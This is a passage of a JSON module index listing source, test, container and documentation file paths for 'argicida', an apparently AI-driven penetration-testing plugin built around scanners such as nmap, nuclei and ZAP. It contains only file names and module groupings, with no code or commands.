argicida/zap/test_client_intel.py\",\"tests/argicida/zap/test_credential_tester.py\",\"tests/argicida/zap/test_manager.py\",\"tests/argicida/zap/test_manager_af.py\",\"tests/argicida/zap/test_plan_executor.py\",\"tests/argicida/zap/test_plan_generator.py\",\"tests/argicida/zap/test_scan_policy.py\",\"tests/argicida/zap/test_scan_policy_passive.py\"],\"Other \u2014 tests-argicida_agent\":[\"tests/argicida_agent/executor/test_runner.py\",\"tests/argicida_agent/ipc/test_server.py\",\"tests/argicida_agent/test_main.py\"],\"Other \u2014 tests-argicida_common\":[\"tests/argicida_common/test_asset_schema.py\",\"tests/argicida_common/test_constants.py\",\"tests/argicida_common/test_credential_schema.py\",\"tests/argicida_common/test_engagement_schema.py\",\"tests/argicida_common/test_finding_schema.py\",\"tests/argicida_common/test_ipc_protocol.py\",\"tests/argicida_common/test_ipc_schema.py\",\"tests/argicida_common/test_scope_schema.py\"],\"Other \u2014 tests-e2e\":[\"tests/e2e/__init__.py\",\"tests/e2e/assertions.py\",\"tests/e2e/conftest.py\",\"tests/e2e/fault_injector.py\",\"tests/e2e/harness.py\",\"tests/e2e/test_e2e_smoke.py\"],\"Other \u2014 tests-integration\":[\"tests/integration/__init__.py\",\"tests/integration/conftest.py\",\"tests/integration/test_asset_pipeline.py\",\"tests/integration/test_hook_pipeline.py\",\"tests/integration/test_phase_lifecycle.py\",\"tests/integration/test_registration.py\",\"tests/integration/test_session_lifecycle.py\",\"tests/integration/test_slash_commands.py\",\"tests/integration/test_tool_dispatch.py\"],\"Other \u2014 tests-pod_integration\":[\"tests/pod_integration/__init__.py\",\"tests/pod_integration/conftest.py\",\"tests/pod_integration/test_artifact_transfer.py\",\"tests/pod_integration/test_asset_registry.py\",\"tests/pod_integration/test_container_build.py\",\"tests/pod_integration/test_diagnostic_pod.py\",\"tests/pod_integration/test_engagement_management.py\",\"tests/pod_integration/test_fault_recovery.py\",\"tests/pod_integration/test_fault_stale_session.py\",\"tests/pod_integration/test_first_light.py\",\"tests/pod_integration/test_gateway_fail_closed.py\",\"tests/pod_integration/test_gateway_isolation.py\",\"tests/pod_integration/test_ipc_file_write.py\",\"tests/pod_integration/test_zap.py\",\"tests/pod_integration/test_zap_af.py\"],\"Other \u2014 tests-scripts\":[\"tests/scripts/__init__.py\",\"tests/scripts/test_sync_skills.py\"]},\"moduleTree\":[{\"name\":\"Plugin Registration & Core\",\"slug\":\"plugin-registration-core\",\"files\":[\"src/argicida/argicida/__init__.py\",\"src/argicida/argicida/registration/__init__.py\",\"src/argicida/argicida/registration/context.py\",\"src/argicida/argicida/registration/state.py\",\"src/argicida/argicida/registration/hooks.py\",\"src/argicida/argicida/registration/scan_tools.py\",\"src/argicida/argicida/registration/management_tools.py\",\"src/argicida/argicida/registration/commands.py\",\"src/argicida/argicida/utils.py\",\"src/argicida/argicida/plugin.yaml\"]},{\"name\":\"Engagement & Database\",\"slug\":\"engagement-database\",\"files\":[\"src/argicida/argicida/engagement/__init__.py\",\"src/argicida/argicida/engagement/lifecycle.py\",\"src/argicida/argicida/engagement/session.py\",\"src/argicida/argicida/db/__init__.py\",\"src/argicida/argicida/db/store.py\",\"src/argicida/argicida/db/asset_repo.py\",\"src/argicida/argicida/db/credential_repo.py\",\"src/argicida/argicida/db/finding_repo.py\",\"src/argicida/argicida/db/evidence_repo.py\",\"src/argicida/argicida/db/vpn_repo.py\",\"src/argicida/argicida/db/helpers.py\",\"src/argicida/argicida/db/migrations.py\",\"src/argicida/argicida/db/encryption.py\"]},{\"name\":\"Pod Management\",\"slug\":\"pod-management\",\"files\":[\"src/argicida/argicida/pod/__init__.py\",\"src/argicida/argicida/pod/launcher.py\",\"src/argicida/argicida/pod/manager.py\",\"src/argicida/argicida/pod/session.py\",\"src/argicida/argicida/pod/config.py\",\"src/argicida/argicida/pod/builder.py\",\"src/argicida/argicida/pod/vpn.py\"]},{\"name\":\"Container Agent\",\"slug\":\"container-agent\",\"files\":[\"src/argicida_agent/argicida_agent/__init__.py\",\"src/argicida_agent/argicida_agent/__main__.py\",\"src/argicida_agent/argicida_agent/executor/__init__.py\",\"src/argicida_agent/argicida_agent/executor/runner.py\",\"src/argicida_agent/argicida_agent/ipc/__init__.py\",\"src/argicida_agent/argicida_agent/ipc/server.py\"]},{\"name\":\"IPC Layer\",\"slug\":\"ipc-layer\",\"files\":[\"src/argicida/argicida/ipc/__init__.py\",\"src/argicida/argicida/ipc/client.py\",\"src/argicida_common/argicida_common/ipc_protocol.py\",\"src/argicida_common/argicida_common/ipc_schema.py\"]},{\"name\":\"Scope Enforcement\",\"slug\":\"scope-enforcement\",\"files\":[\"src/argicida/argicida/scope/__init__.py\",\"src/argicida/argicida/scope/netfilter.py\",\"src/argicida/argicida/scope/validator.py\",\"src/argicida_common/argicida_common/scope_schema.py\"]},{\"name\":\"Scan Tool Framework\",\"slug\":\"scan-tool-framework\",\"files\":[\"src/argicida/argicida/tools/__init__.py\",\"src/argicida/argicida/tools/base.py\",\"src/argicida/argicida/tools/schemas.py\",\"src/argicida/argicida/tools/defs/__init__.py\",\"src/argicida/argicida/tools/defs/_protocol.py\",\"src/argicida/argicida/tools/defs/_pd_common.py\",\"src/argicida/argicida/tools/defs/nmap.py\",\"src/argicida/argicida/tools/defs/naabu.py\",\"src/argicida/argicida/tools/defs/nuclei.py\",\"src/argicida/argicida/tools/defs/httpx.py\",\"src/argicida/argicida/tools/defs/subfinder.py\",\"src/argicida/argicida/tools/defs/dnsx.py\",\"src/argicida/argicida/tools/defs/katana.py\",\"src/argicida/argicida/tools/defs/ffuf.py\",\"src/argicida/argicida/tools/defs/curl.py\",\"src/argicida/argicida/tools/defs/tracepath.py\",\"src/argicida/argicida/tools/defs/rpcinfo.py\",\"src/argicida/argicida/tools/defs/smbclient.py\",\"src/argicida/argicida/tools/defs/db_query.py\",\"src/argicida/argicida/tools/defs/redis_query.py\",\"src/argicida/argicida/tools/defs/mongo_query.py\",\"src/argicida/argicida/tools/defs/ssh_exec.py\",\"src/argicida/argicida/tools/normalizers.py\",\"src/argicida/argicida/tools/normalizers_nmap.py\",\"src/argicida/argicida/tools/normalizers_nuclei.py\",\"src/argicida/argicida/tools/normalizers_curl.py\",\"src/argicida/argicida/tools/normalizers_db.py\",\"src/argicida/argicida/tools/normalizers_redis.py\",\"src/argicida/argicida/tools/normalizers_mongo.py\",\"src/argicida/argicida/tools/normalizers_katana.py\",\"src/argicida/argicida/tools/normalizers_smb.py\",\"src/argicida/argicida/tools/normalizers_ssh.py\",\"src/argicida/argicida/tools/normalizers_zap.py\",\"src/argicida/argicida/tools/parsers.py\",\"src/argicida/argicida/tools/parsers_nmap.py\",\"src/argicida/argicida/tools/parsers_naabu.py\",\"src/argicida/argicida/tools/parsers_nuclei.py\",\"src/argicida/argicida/tools/parsers_dnsx.py\",\"src/argicida/argicida/tools/parsers_db.py\",\"src/argicida/argicida/tools/parsers_redis.py\",\"src/argicida/argicida/tools/parsers_mongo.py\",\"src/argicida/argicida/tools/parsers_smbclient.py\",\"src/argicida/argicida/tools/parsers_zap.py\",\"src/argicida/argicida/tools/transformers.py\",\"src/argicida/argicida/tools/transformers_nmap.py\",\"src/argicida/argicida/tools/transformers_naabu.py\",\"src/argicida/argicida/tools/transformers_nuclei.py\",\"src/argicida/argicida/tools/transformers_httpx.py\",\"src/argicida/argicida/tools/transformers_subfinder.py\",\"src/argicida/argicida/tools/transformers_dnsx.py\",\"src/argicida/argicida/tools/transformers_katana.py\",\"src/argicida/argicida/tools/transformers_ffuf.py\",\"src/argicida/argicida/tools/transformers_curl.py\",\"src/argicida/argicida/tools/transformers_db.py\",\"src/argicida/argicida/tools/transformers_redis.py\",\"src/argicida/argicida/tools/transformers_mongo.py\",\"src/argicida/argicida/tools/transformers_smbclient.py\",\"src/argicida/argicida/tools/transformers_zap.py\",\"src/argicida/argicida/tools/extractors.py\",\"src/argicida/argicida/tools/extractors_base.py\",\"src/argicida/argicida/tools/extractors_nmap.py\",\"src/argicida/argicida/tools/extractors_naabu.py\",\"src/argicida/argicida/tools/extractors_httpx.py\",\"src/argicida/argicida/tools/extractors_subfinder.py\",\"src/argicida/argicida/tools/extractors_dnsx.py\",\"src/argicida/argicida/tools/extractors_nuclei.py\"]},{\"name\":\"Management & CLI\",\"slug\":\"management-cli\",\"files\":[\"src/argicida/argicida/tools/management_handlers.py\",\"src/argicida/argicida/tools/artifact_handlers.py\",\"src/argicida/argicida/commands/__init__.py\",\"src/argicida/argicida/commands/cli.py\",\"src/argicida/argicida/commands/slash.py\",\"src/argicida/argicida/commands/formatting.py\",\"src/argicida/argicida/commands/update_data.py\"]},{\"name\":\"Hook Pipeline\",\"slug\":\"hook-pipeline\",\"files\":[\"src/argicida/argicida/hooks/__init__.py\",\"src/argicida/argicida/hooks/adapters.py\",\"src/argicida/argicida/hooks/asset_extractor.py\",\"src/argicida/argicida/hooks/autonomy.py\",\"src/argicida/argicida/hooks/context.py\",\"src/argicida/argicida/hooks/context_sections.py\",\"src/argicida/argicida/hooks/coverage.py\",\"src/argicida/argicida/hooks/evidence.py\",\"src/argicida/argicida/hooks/normalizer.py\",\"src/argicida/argicida/hooks/output_store.py\",\"src/argicida/argicida/hooks/parsers.py\",\"src/argicida/argicida/hooks/perceptor.py\",\"src/argicida/argicida/hooks/result_transformers.py\",\"src/argicida/argicida/hooks/scope_guard.py\",\"src/argicida/argicida/hooks/service_registry.py\",\"src/argicida/argicida/hooks/session_start.py\",\"src/argicida/argicida/hooks/skill_loader.py\"]},{\"name\":\"Triage Engine\",\"slug\":\"triage-engine\",\"files\":[\"src/argicida/argicida/triage/__init__.py\",\"src/argicida/argicida/triage/classifier.py\",\"src/argicida/argicida/triage/scorer.py\",\"src/argicida/argicida/triage/dedup.py\",\"src/argicida/argicida/triage/data.py\",\"src/argicida/argicida/triage/discovery.py\",\"scripts/generate_triage_diagrams.py\",\"scripts/generate_pipeline_diagrams.py\"]},{\"name\":\"ZAP Integration\",\"slug\":\"zap-integration\",\"files\":[\"src/argicida/argicida/zap/__init__.py\",\"src/argicida/argicida/zap/client.py\",\"src/argicida/argicida/zap/manager.py\",\"src/argicida/argicida/zap/plan_executor.py\",\"src/argicida/argicida/zap/plan_generator.py\",\"src/argicida/argicida/zap/scan_policy.py\",\"src/argicida/argicida/zap/credential_tester.py\"]},{\"name\":\"Evidence & Reporting\",\"slug\":\"evidence-reporting\",\"files\":[\"src/argicida/argicida/evidence/__init__.py\",\"src/argicida/argicida/evidence/chain.py\",\"src/argicida/argicida/evidence/keys.py\",\"src/argicida/argicida/evidence/signer.py\",\"src/argicida/argicida/briefing/__init__.py\",\"src/argicida/argicida/briefing/generator.py\",\"src/argicida/argicida/briefing/prompts.py\"]},{\"name\":\"Shared Types & Schemas\",\"slug\":\"shared-types-schemas\",\"files\":[\"src/argicida_common/argicida_common/__init__.py\",\"src/argicida_common/argicida_common/constants.py\",\"src/argicida_common/argicida_common/finding_schema.py\",\"src/argicida_common/argicida_common/engagement_schema.py\",\"src/argicida_common/argicida_common/asset_schema.py\",\"src/argicida_common/argicida_common/credential_schema.py\"]},{\"name\":\"Container Build Infrastructure\",\"slug\":\"container-build-infrastructure\",\"files\":[\"containers/Containerfile\",\"containers/Containerfile.gateway\",\"containers/Containerfile.zap\",\"containers/entrypoint.sh\",\"containers/gateway-entrypoint.sh\",\"containers/zap-entrypoint.sh\",\"containers/dnsx-config.yaml\",\"containers/katana-config.yaml\",\"containers/naabu-config.yaml\",\"containers/nuclei-config.yaml\",\"containers/screenshot.yaml\",\"containers/nse-blocklist.txt\",\"containers/ssh-key-wrap\"]},{\"name\":\"Hermes Profile & Skills\",\"slug\":\"hermes-profile-skills\",\"files\":[],\"children\":[{\"name\":\"Hermes Profile & Skills \u2014 profile\",\"slug\":\"hermes-profile-skills-profile\",\"files\":[\"profile/SOUL.md\"]},{\"name\":\"Hermes Profile & Skills \u2014 skills\",\"slug\":\"hermes-profile-skills-skills\",\"files\":[\"profile/skills/security/DESCRIPTION.md\",\"profile/skills/security/pentest-methodology/SKILL.md\",\"profile/skills/security/network-discovery/SKILL.md\",\"profile/skills/security/dns-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/SKILL.md\",\"profile/skills/security/web-enumeration/fingerprinting/SKILL.md\",\"profile/skills/security/web-enumeration/scanning/SKILL.md\",\"profile/skills/security/web-enumeration/crawling/SKILL.md\",\"profile/skills/security/web-enumeration/fuzzing/SKILL.md\",\"profile/skills/security/web-enumeration/api/SKILL.md\",\"profile/skills/security/web-enumeration/api-testing/SKILL.md\",\"profile/skills/security/web-enumeration/curl-techniques/SKILL.md\",\"profile/skills/security/web-enumeration/services/SKILL.md\",\"profile/skills/security/db-enumeration/SKILL.md\",\"profile/skills/security/db-enumeration/postgresql/SKILL.md\",\"profile/skills/security/db-enumeration/mysql/SKILL.md\",\"profile/skills/security/db-enumeration/mssql/SKILL.md\",\"profile/skills/security/db-enumeration/oracle/SKILL.md\",\"profile/skills/security/db-enumeration/cassandra/SKILL.md\",\"profile/skills/security/mongo-enumeration/SKILL.md\",\"profile/skills/security/redis-enumeration/SKILL.md\",\"profile/skills/security/smb-enumeration/SKILL.md\",\"profile/skills/security/rpc-nfs-enumeration/SKILL.md\",\"profile/skills/security/ssh-enumeration/SKILL.md\",\"profile/skills/security/ftp-enumeration/SKILL.md\",\"profile/skills/security/smtp-enumeration/SKILL.md\",\"profile/skills/security/telnet-enumeration/SKILL.md\"]},{\"name\":\"Hermes Profile & Skills \u2014 scripts\",\"slug\":\"hermes-profile-skills-scripts\",\"files\":[\"scripts/sync_skills.py\"]}]},{\"name\":\"Other\",\"slug\":\"other\",\"files\":[],\"children\":[{\"name\":\"Other \u2014 CLAUDE.md\",\"slug\":\"other-claude-md\",\"files\":[\"CLAUDE.md\"]},{\"name\":\"Other \u2014 README.md\",\"slug\":\"other-readme-md\",\"files\":[\"README.md\"]},{\"name\":\"Other \u2014 docs\",\"slug\":\"other-docs\",\"files\":[\"docs/DEVELOPMENT-STANDARDS.md\",\"docs/RESEARCH.md\",\"docs/triage-engine.md\"]},{\"name\":\"Other \u2014 docs-archive\",\"slug\":\"other-docs-archive\",\"files\":[\"docs/archive/AUDIT-2026-07-14.md\",\"docs/archive/NOTES.md\",\"docs/archive/REFACTOR-PLAN-v2.md\",\"docs/archive/REFACTOR-PLAN.md\",\"docs/archive/REFACTOR-REFERENCES.md\",\"docs/archive/REMEDIATION-PLAN-2026-07-14.md\",\"docs/archive/audit-confirmed-findings.md\",\"docs/archive/e2e-gap-analysis.md\",\"docs/archive/full-system-audit.md\",\"docs/archive/htb-api-reference.md\",\"docs/archive/ipc-sync-async-boundary.md\",\"docs/archive/pipeline-engine.md\",\"docs/archive/plans/2026-06-30-foundation.md\",\"docs/archive/plans/2026-06-30-ipc-control-plane.md\",\"docs/archive/plans/2026-06-30-pipeline-engine.md\",\"docs/archive/plans/2026-06-30-scope-enforcement.md\",\"docs/archive/plans/2026-06-30-tool-wrappers.md\",\"docs/archive/plans/2026-06-30-triage-and-hooks.md\",\"docs/archive/plans/2026-07-01-briefing-and-trace.md\",\"docs/archive/plans/2026-07-01-container-build.md\",\"docs/archive/plans/2026-07-01-dynamic-pipeline.md\",\"docs/archive/plans/2026-07-01-e2e-gap-fixes.md\",\"docs/archive/plans/2026-07-01-hermes-plugin-shell.md\",\"docs/archive/plans/2026-07-01-integration-test-harness.md\",\"docs/archive/plans/2026-07-01-iterative-reentry.md\",\"docs/archive/plans/2026-07-01-pod-and-cli-commands.md\",\"docs/archive/plans/2026-07-01-session-lifecycle.md\",\"docs/archive/plans/2026-07-02-llm-driven-redesign.md\",\"docs/archive/plans/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/plans/2026-07-02-structured-perceptor.md\",\"docs/archive/plans/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-engagement-query-tool.md\",\"docs/archive/rfe/2026-07-07-screenshot-vision-analysis.md\",\"docs/archive/rfe/2026-07-07-subagent-delegation.md\",\"docs/archive/rfe/2026-07-10-credential-fragment-model.md\",\"docs/archive/rfe/2026-07-11-dns-aware-scope-enforcement.md\",\"docs/archive/rfe/2026-07-13-infrastructure-vs-prompt-boundary.md\",\"docs/archive/rfe/2026-07-15-engagement-management.md\",\"docs/archive/spec-gaps.md\",\"docs/archive/specs/2026-06-29-project-structure-design.md\",\"docs/archive/specs/2026-07-01-phase-2a-hermes-integration.md\",\"docs/archive/specs/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/specs/2026-07-02-llm-driven-redesign.md\",\"docs/archive/specs/2026-07-02-phase3-infrastructure-hardening.md\",\"docs/archive/specs/2026-07-02-structured-perceptor.md\",\"docs/archive/specs/2026-07-08-engagement-lifecycle.md\",\"docs/archive/specs/2026-07-09-tool-definition-registry.md\",\"docs/archive/specs/2026-07-15-screenshot-vision-analysis.md\",\"docs/archive/superpowers/plans/2026-07-01-phase1-first-light.md\",\"docs/archive/superpowers/plans/2026-07-01-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-02-hermes-convention-refactor.md\",\"docs/archive/superpowers/plans/2026-07-03-nse-script-fuzzy-matching.md\",\"docs/archive/superpowers/plans/2026-07-04-artifact-storage.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-finding-parser.md\",\"docs/archive/superpowers/plans/2026-07-04-db-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-04-redis-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-curl-tool.md\",\"docs/archive/superpowers/plans/2026-07-06-db-enumeration-skill-split.md\",\"docs/archive/superpowers/plans/2026-07-06-katana-ffuf-tools.md\",\"docs/archive/superpowers/plans/2026-07-06-screenshot-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-normalizer-refactor.md\",\"docs/archive/superpowers/plans/2026-07-07-result-transformer.md\",\"docs/archive/superpowers/plans/2026-07-07-rpcinfo-tool.md\",\"docs/archive/superpowers/plans/2026-07-07-validation-fixes.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-lifecycle.md\",\"docs/archive/superpowers/plans/2026-07-08-engagement-query-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-ssh-exec-tool.md\",\"docs/archive/superpowers/plans/2026-07-09-tool-definition-registry.md\",\"docs/archive/superpowers/plans/2026-07-10-mongo-query.md\",\"docs/archive/superpowers/plans/2026-07-10-service-coverage.md\",\"docs/archive/superpowers/plans/2026-07-13-credential-fragment-model.md\",\"docs/archive/superpowers/plans/2026-07-14-structural-ownership.md\",\"docs/archive/superpowers/plans/2026-07-15-dns-aware-scope-enforcement.md\",\"docs/archive/superpowers/plans/2026-07-16-engagement-management.md\",\"docs/archive/superpowers/plans/2026-07-20-asset-registry.md\",\"docs/archive/superpowers/plans/2026-07-21-dry-simplification.md\",\"docs/archive/superpowers/plans/2026-07-21-register-refactor.md\",\"docs/archive/superpowers/specs/2026-07-01-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-03-nse-script-fuzzy-matching-design.md\",\"docs/archive/superpowers/specs/2026-07-04-artifact-storage-design.md\",\"docs/archive/superpowers/specs/2026-07-04-db-query-finding-parser-design.md\",\"docs/archive/superpowers/specs/2026-07-04-redis-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-curl-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-06-db-enumeration-skill-split-design.md\",\"docs/archive/superpowers/specs/2026-07-06-katana-ffuf-tools-design.md\",\"docs/archive/superpowers/specs/2026-07-06-screenshot-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-normalizer-refactor-design.md\",\"docs/archive/superpowers/specs/2026-07-07-result-transformer-design.md\",\"docs/archive/superpowers/specs/2026-07-07-rpcinfo-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-07-validation-fixes-design.md\",\"docs/archive/superpowers/specs/2026-07-08-engagement-query-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-08-subagent-delegation-design.md\",\"docs/archive/superpowers/specs/2026-07-09-ssh-exec-tool-design.md\",\"docs/archive/superpowers/specs/2026-07-10-mongo-query-design.md\",\"docs/archive/superpowers/specs/2026-07-10-service-coverage-design.md\",\"docs/archive/superpowers/specs/2026-07-13-credential-fragment-model-design.md\",\"docs/archive/superpowers/specs/2026-07-14-remediation-design.md\",\"docs/archive/superpowers/specs/2026-07-15-dns-aware-scope-enforcement-design.md\",\"docs/archive/superpowers/specs/2026-07-16-engagement-management-design.md\",\"docs/archive/superpowers/specs/2026-07-20-asset-registry-design.md\",\"docs/archive/superpowers/specs/2026-07-21-dry-simplification-design.md\",\"docs/archive/superpowers/specs/2026-07-21-register-refactor-design.md\"]},{\"name\":\"Other \u2014 docs-research\",\"slug\":\"other-docs-research\",\"files\":[\"docs/research/2026-07-02-offensive-security-research.md\",\"docs/research/2026-07-04-hermes-configuration-deep-dive.md\",\"docs/research/2026-07-10-c2-integration-strategy.md\"]},{\"name\":\"Other \u2014 docs-rfe\",\"slug\":\"other-docs-rfe\",\"files\":[\"docs/rfe/2026-07-11-zap-proxy-web-scanning.md\",\"docs/rfe/2026-07-25-zap-automation-framework.md\",\"docs/rfe/2026-07-26-test-target-infrastructure.md\"]},{\"name\":\"Other \u2014 docs-superpowers\",\"slug\":\"other-docs-superpowers\",\"files\":[\"docs/superpowers/archive/2026-07-22-zap-deep-integration-design.md\",\"docs/superpowers/archive/2026-07-22-zap-deep-integration.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps-design.md\",\"docs/superpowers/archive/2026-07-22-zap-integration-gaps.md\",\"docs/superpowers/archive/2026-07-23-e2e-research-findings.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity-design.md\",\"docs/superpowers/archive/2026-07-23-e2e-test-integrity.md\",\"docs/superpowers/plans/2026-07-26-zap-af-pipeline-integration.md\",\"docs/superpowers/plans/2026-07-27-phase-aware-autonomy.md\",\"docs/superpowers/plans/archive/2026-07-29-gateway-network-isolation.md\",\"docs/superpowers/specs/2026-07-26-zap-af-pipeline-integration-design.md\",\"docs/superpowers/specs/2026-07-27-phase-aware-autonomy-design.md\",\"docs/superpowers/specs/archive/2026-07-29-gateway-network-isolation-design.md\"]},{\"name\":\"Other \u2014 profile\",\"slug\":\"other-profile\",\"files\":[\"profile/README.md\",\"profile/config.yaml\",\"profile/distribution.yaml\"]},{\"name\":\"Other \u2014 profile-skins\",\"slug\":\"other-profile-skins\",\"files\":[\"profile/skins/argicida.yaml\"]},{\"name\":\"Other \u2014 pyproject.toml\",\"slug\":\"other-pyproject-toml\",\"files\":[\"pyproject.toml\"]},{\"name\":\"Other \u2014 src-argicida\",\"slug\":\"other-src-argicida\",\"files\":[\"src/argicida/argicida/py.typed\",\"src/argicida/pyproject.toml\"]},{\"name\":\"Other \u2014 src-argicida_agent\",\"slug\":\"other-src-argicida-agent\",\"files\":[\"src/argicida_agent/argicida_agent/py.typed\",\"src/argicida_agent/pyproject.toml\"]},{\"name\":\"Other \u2014 src-argicida_common\",\"slug\":\"other-src-argicida-common\",\"files\":[\"src/argicida_common/argicida_common/py.typed\",\"src/argicida_common/pyproject.toml\"]},{\"name\":\"Other \u2014 tests\",\"slug\":\"other-tests\",\"files\":[\"tests/__init__.py\",\"tests/conftest.py\",\"tests/factories.py\"]},{\"name\":\"Other \u2014 tests-argicida\",\"slug\":\"other-tests-argicida\",\"files\":[\"tests/argicida/briefing/__init__.py\",\"tests/argicida/briefing/test_generator.py\",\"tests/argicida/briefing/test_prompts.py\",\"tests/argicida/commands/__init__.py\",\"tests/argicida/commands/test_cli.py\",\"tests/argicida/commands/test_formatting.py\",\"tests/argicida/commands/test_slash.py\",\"tests/argicida/commands/test_update_data.py\",\"tests/argicida/conftest.py\",\"tests/argicida/db/test_asset_repo.py\",\"tests/argicida/db/test_asset_tech.py\",\"tests/argicida/db/test_candidate_engine.py\",\"tests/argicida/db/test_credential_helpers.py\",\"tests/argicida/db/test_credentials.py\",\"tests/argicida/db/test_encryption.py\",\"tests/argicida/db/test_finding_repo.py\",\"tests/argicida/db/test_helpers.py\",\"tests/argicida/db/test_migrations.py\",\"tests/argicida/db/test_store.py\",\"tests/argicida/db/test_store_async.py\",\"tests/argicida/engagement/__init__.py\",\"tests/argicida/engagement/test_lifecycle.py\",\"tests/argicida/engagement/test_session.py\",\"tests/argicida/engagement/test_unbind.py\",\"tests/argicida/evidence/test_chain.py\",\"tests/argicida/evidence/test_chain_clear.py\",\"tests/argicida/evidence/test_keys.py\",\"tests/argicida/evidence/test_signer.py\",\"tests/argicida/hooks/conftest.py\",\"tests/argicida/hooks/test_adapters.py\",\"tests/argicida/hooks/test_asset_context.py\",\"tests/argicida/hooks/test_asset_coverage.py\",\"tests/argicida/hooks/test_asset_extractor.py\",\"tests/argicida/hooks/test_autonomy.py\",\"tests/argicida/hooks/test_context.py\",\"tests/argicida/hooks/test_context_tech.py\",\"tests/argicida/hooks/test_coverage_deep_testing.py\",\"tests/argicida/hooks/test_evidence.py\",\"tests/argicida/hooks/test_finalize_zap.py\",\"tests/argicida/hooks/test_normalizer.py\",\"tests/argicida/hooks/test_normalizer_errors.py\",\"tests/argicida/hooks/test_normalizer_perceptor.py\",\"tests/argicida/hooks/test_output_store.py\",\"tests/argicida/hooks/test_parse_result.py\",\"tests/argicida/hooks/test_parsers.py\",\"tests/argicida/hooks/test_password_decoding.py\",\"tests/argicida/hooks/test_perceptor.py\",\"tests/argicida/hooks/test_result_transformers.py\",\"tests/argicida/hooks/test_scope_expansion.py\",\"tests/argicida/hooks/test_scope_guard.py\",\"tests/argicida/hooks/test_service_registry.py\",\"tests/argicida/hooks/test_session_lifecycle.py\",\"tests/argicida/hooks/test_session_start.py\",\"tests/argicida/ipc/test_client.py\",\"tests/argicida/pod/test_builder.py\",\"tests/argicida/pod/test_config.py\",\"tests/argicida/pod/test_launcher.py\",\"tests/argicida/pod/test_launcher_zap.py\",\"tests/argicida/pod/test_manager.py\",\"tests/argicida/pod/test_session.py\",\"tests/argicida/pod/test_session_host_entries.py\",\"tests/argicida/pod/test_vpn_endpoint.py\",\"tests/argicida/registration/__init__.py\",\"tests/argicida/registration/test_context.py\",\"tests/argicida/registration/test_state.py\",\"tests/argicida/scope/conftest.py\",\"tests/argicida/scope/test_db_query_scope.py\",\"tests/argicida/scope/test_hostname_resolution.py\",\"tests/argicida/scope/test_netfilter.py\",\"tests/argicida/scope/test_normalize_target.py\",\"tests/argicida/scope/test_redis_cli_profile.py\",\"tests/argicida/scope/test_rpcinfo_profile.py\",\"tests/argicida/scope/test_validator.py\",\"tests/argicida/test_asset_consistency.py\",\"tests/argicida/test_consistency.py\",\"tests/argicida/test_phase_migration.py\",\"tests/argicida/test_register.py\",\"tests/argicida/test_session_consistency.py\",\"tests/argicida/tools/conftest.py\",\"tests/argicida/tools/defs/__init__.py\",\"tests/argicida/tools/defs/test_all_defs.py\",\"tests/argicida/tools/defs/test_discovery.py\",\"tests/argicida/tools/defs/test_mongo_query_def.py\",\"tests/argicida/tools/defs/test_naabu_def.py\",\"tests/argicida/tools/defs/test_protocol.py\",\"tests/argicida/tools/defs/test_ssh_exec_def.py\",\"tests/argicida/tools/test_add_host_asset.py\",\"tests/argicida/tools/test_add_host_dnsmasq.py\",\"tests/argicida/tools/test_artifact_handlers.py\",\"tests/argicida/tools/test_asset_query_handlers.py\",\"tests/argicida/tools/test_base.py\",\"tests/argicida/tools/test_curl_handler.py\",\"tests/argicida/tools/test_curl_normalizer.py\",\"tests/argicida/tools/test_db_query_handler.py\",\"tests/argicida/tools/test_db_query_normalizer.py\",\"tests/argicida/tools/test_engagement_query_fragments.py\",\"tests/argicida/tools/test_extractor_base.py\",\"tests/argicida/tools/test_extractors.py\",\"tests/argicida/tools/test_ffuf_normalizer.py\",\"tests/argicida/tools/test_handlers.py\",\"tests/argicida/tools/test_katana_normalizer.py\",\"tests/argicida/tools/test_management_handlers.py\",\"tests/argicida/tools/test_management_handlers_zap.py\",\"tests/argicida/tools/test_management_helpers.py\",\"tests/argicida/tools/test_normalizer_components.py\",\"tests/argicida/tools/test_normalizer_has_flag.py\",\"tests/argicida/tools/test_normalizer_shared_classes.py\",\"tests/argicida/tools/test_normalizers.py\",\"tests/argicida/tools/test_normalizers_mongo.py\",\"tests/argicida/tools/test_normalizers_nuclei.py\",\"tests/argicida/tools/test_normalizers_smb.py\",\"tests/argicida/tools/test_normalizers_ssh.py\",\"tests/argicida/tools/test_normalizers_zap.py\",\"tests/argicida/tools/test_parsers_make_finding.py\",\"tests/argicida/tools/test_parsers_mongo.py\",\"tests/argicida/tools/test_parsers_zap.py\",\"tests/argicida/tools/test_redis_query_normalizer.py\",\"tests/argicida/tools/test_schemas.py\",\"tests/argicida/tools/test_screenshot_handler.py\",\"tests/argicida/tools/test_screenshot_vision.py\",\"tests/argicida/tools/test_shared_utils.py\",\"tests/argicida/tools/test_tool_def_extractor.py\",\"tests/argicida/tools/test_transformer_infrastructure.py\",\"tests/argicida/tools/test_transformers_dnsx_proposal.py\",\"tests/argicida/tools/test_transformers_mongo.py\",\"tests/argicida/tools/test_transformers_ssh.py\",\"tests/argicida/tools/test_transformers_zap.py\",\"tests/argicida/tools/test_zap_new_tools.py\",\"tests/argicida/triage/test_asset_discovery.py\",\"tests/argicida/triage/test_classifier.py\",\"tests/argicida/triage/test_data.py\",\"tests/argicida/triage/test_dedup.py\",\"tests/argicida/triage/test_scorer.py\",\"tests/argicida/zap/__init__.py\",\"tests/argicida/zap/test_client.py\",\"tests/argicida/zap/test_client_af.py\",\"tests/argicida/zap/test_client_intel.py\",\"tests/argicida/zap/test_credential_tester.py\",\"tests/argicida/zap/test_manager.py\",\"tests/argicida/zap/test_manager_af.py\